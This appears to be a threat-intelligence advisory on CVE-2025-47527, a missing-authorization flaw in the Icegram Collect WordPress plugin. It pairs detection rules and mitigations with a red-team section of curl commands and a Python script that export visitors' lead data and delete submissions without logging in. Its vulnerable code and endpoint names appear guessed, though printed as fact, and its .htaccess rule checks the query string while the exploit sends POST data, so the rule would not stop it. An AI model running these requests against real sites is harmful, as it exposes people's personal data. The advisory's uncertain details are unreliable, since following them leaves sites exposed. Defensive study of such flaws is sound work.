CVE-2025-47527

Executive Summary

CVE-2025-47527 is a Missing Authorization vulnerability in the Icegram Collect WordPress plugin (formerly known as icegram-rainmaker), affecting versions up to and including 1.3.18. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access, modification, or privilege escalation within the WordPress ecosystem. The vulnerability is classified as a WordPress plugin issue and does not involve Apache or Nginx server software.

The CVSS score of 7.1 (High) reflects the low attack complexity and network-based attack vector, requiring no privileges or user interaction. Despite a low EPSS score (0.0%), the lack of a known patch and the plugin's widespread use in lead collection forms make this a significant supply chain risk for WordPress sites.

Supply Chain & Package Security

This vulnerability affects the Icegram Collect WordPress plugin, which is distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the broader WordPress ecosystem supply chain. Site administrators must verify the plugin version and apply any available updates from the vendor. Since no patch is currently available, organizations should consider disabling the plugin or implementing virtual patching via a Web Application Firewall (WAF).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High. The vulnerability is easily exploitable and could lead to unauthorized access to lead collection data, form submissions, or administrative functions within the plugin.

Deep Dive & Mechanics

The Icegram Collect plugin provides lead generation forms (popups, inline forms, etc.) for WordPress sites. The missing authorization vulnerability stems from improper access control checks on AJAX actions or REST API endpoints used by the plugin. Specifically, the plugin fails to verify user capabilities before processing requests to export, delete, or view collected leads.

Root Cause: The plugin uses wp_ajax_ and wp_ajax_nopriv_ hooks without proper capability checks. For example, an endpoint like wp_ajax_rainmaker_export_leads may be registered for both authenticated and unauthenticated users, but the handler does not call current_user_can() or wp_verify_nonce().

Attack Vector: An unauthenticated attacker sends crafted HTTP requests to the vulnerable endpoints, bypassing access controls. This can lead to:

• Exporting all collected lead data (names, emails, phone numbers).
• Deleting form submissions.
• Modifying plugin settings.

WordPress Ecosystem Context: This is a classic WordPress plugin vulnerability where the developer assumed that AJAX hooks would only be called by authenticated users, but failed to enforce the check in the handler function.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.3.18):

add_action('wp_ajax_rainmaker_export_leads', 'rainmaker_export_leads');
add_action('wp_ajax_nopriv_rainmaker_export_leads', 'rainmaker_export_leads');

function rainmaker_export_leads() {
    // No capability check
    $leads = get_all_leads();
    export_csv($leads);
    wp_die();
}

Patched Code (hypothetical fix):

add_action('wp_ajax_rainmaker_export_leads', 'rainmaker_export_leads');
// Remove nopriv hook to restrict to authenticated users

function rainmaker_export_leads() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Verify nonce
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'rainmaker_export')) {
        wp_die('Nonce failed', 403);
    }
    $leads = get_all_leads();
    export_csv($leads);
    wp_die();
}

Key Differences:

• The patched version removes the wp_ajax_nopriv_ hook to prevent unauthenticated access.
• Adds current_user_can('manage_options') to restrict to administrators.
• Implements nonce verification to prevent CSRF.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target WordPress site with Icegram Collect <= 1.3.18 active.
• No authentication required.

Exploitation Steps:

1. Identify vulnerable endpoints: Use a tool like Burp Suite or curl to probe for AJAX actions:

   curl -X POST "http://target/wp-admin/admin-ajax.php" \
        -d "action=rainmaker_export_leads"
   

2. Export leads:

   curl -X POST "http://target/wp-admin/admin-ajax.php" \
        -d "action=rainmaker_export_leads&format=csv" \
        -o leads.csv
   

3. Delete leads:

   curl -X POST "http://target/wp-admin/admin-ajax.php" \
        -d "action=rainmaker_delete_lead&lead_id=123"
   

Automated Exploit Script (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
payload = {"action": "rainmaker_export_leads"}
response = requests.post(target, data=payload)
if response.status_code == 200 and "email" in response.text:
    print("[+] Leads exported successfully")
    with open("leads.csv", "w") as f:
        f.write(response.text)
else:
    print("[-] Exploit failed")

Blue Team (Defensive)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action=rainmaker_* parameters from unauthenticated sources.
• Look for spikes in outbound data transfer (CSV exports).
• Check server logs for 403 errors on AJAX endpoints (if patched).

Honeypot Setup:

• Deploy a decoy WordPress instance with the vulnerable plugin.
• Monitor for requests to rainmaker_export_leads and log attacker IPs.

Mitigation:

• Disable the plugin until a patch is available.
• Use a WAF to block requests to admin-ajax.php with action=rainmaker_* from unauthenticated users.
• Implement virtual patching via .htaccess:

  RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$
  RewriteCond %{QUERY_STRING} action=rainmaker_ [NC]
  RewriteRule .* - [F,L]
  

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=rainmaker_export_leads, action=rainmaker_delete_lead, or similar.
• Outbound CSV files containing lead data (names, emails, phone numbers).
• User-Agent strings from common exploitation tools (e.g., curl/7.68.0, python-requests/2.25.1).

File IOCs:

• Unexpected CSV files in web root or temporary directories.
• Modified plugin files (check file integrity with md5sum).

Log IOCs:

• Apache/Nginx access logs showing repeated POST requests to admin-ajax.php with action=rainmaker_*.
• PHP error logs with "Unauthorized" messages if patched.

Registry/Config IOCs:

• Unauthorized changes to plugin settings (e.g., email notifications redirected to attacker).

Detection Engineering

YARA Rule

rule CVE_2025_47527_Icegram_Collect {
    meta:
        description = "Detects exploitation attempts for CVE-2025-47527 in Icegram Collect plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-47527"
    strings:
        $ajax_action = "action=rainmaker_export_leads" nocase
        $ajax_delete = "action=rainmaker_delete_lead" nocase
        $plugin_path = "/wp-content/plugins/icegram-rainmaker/" nocase
    condition:
        any of ($ajax_action, $ajax_delete) or $plugin_path
}

Sigma Rule

title: CVE-2025-47527 Icegram Collect Missing Authorization
id: 8a3f7c2e-1d4b-4f6a-9c8e-0b2a5d7f3e1c
status: experimental
description: Detects unauthenticated AJAX requests to Icegram Collect plugin endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=rainmaker_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47527 Icegram Collect Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=rainmaker_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Apply virtual patching via WAF or .htaccess rules to block unauthenticated AJAX requests to rainmaker_* actions.
3. Monitor logs for exploitation attempts and rotate any exposed credentials.

Long-term Fix:

• The vendor (Icegram) must release a patched version that implements proper capability checks and nonce verification.
• Until then, consider migrating to an alternative lead collection plugin with active security maintenance.

Compromise Assessment:

• Check for unauthorized lead exports or deletions.
• Review plugin settings for any changes.
• Scan for backdoors or webshells that may have been uploaded via other vulnerabilities.

Valters IT Signature:

Valters IT Cyber Threat Intelligence
CVE-2025-47527 Analysis
Date: 2025-04-10
Classification: High Severity
Status: Unpatched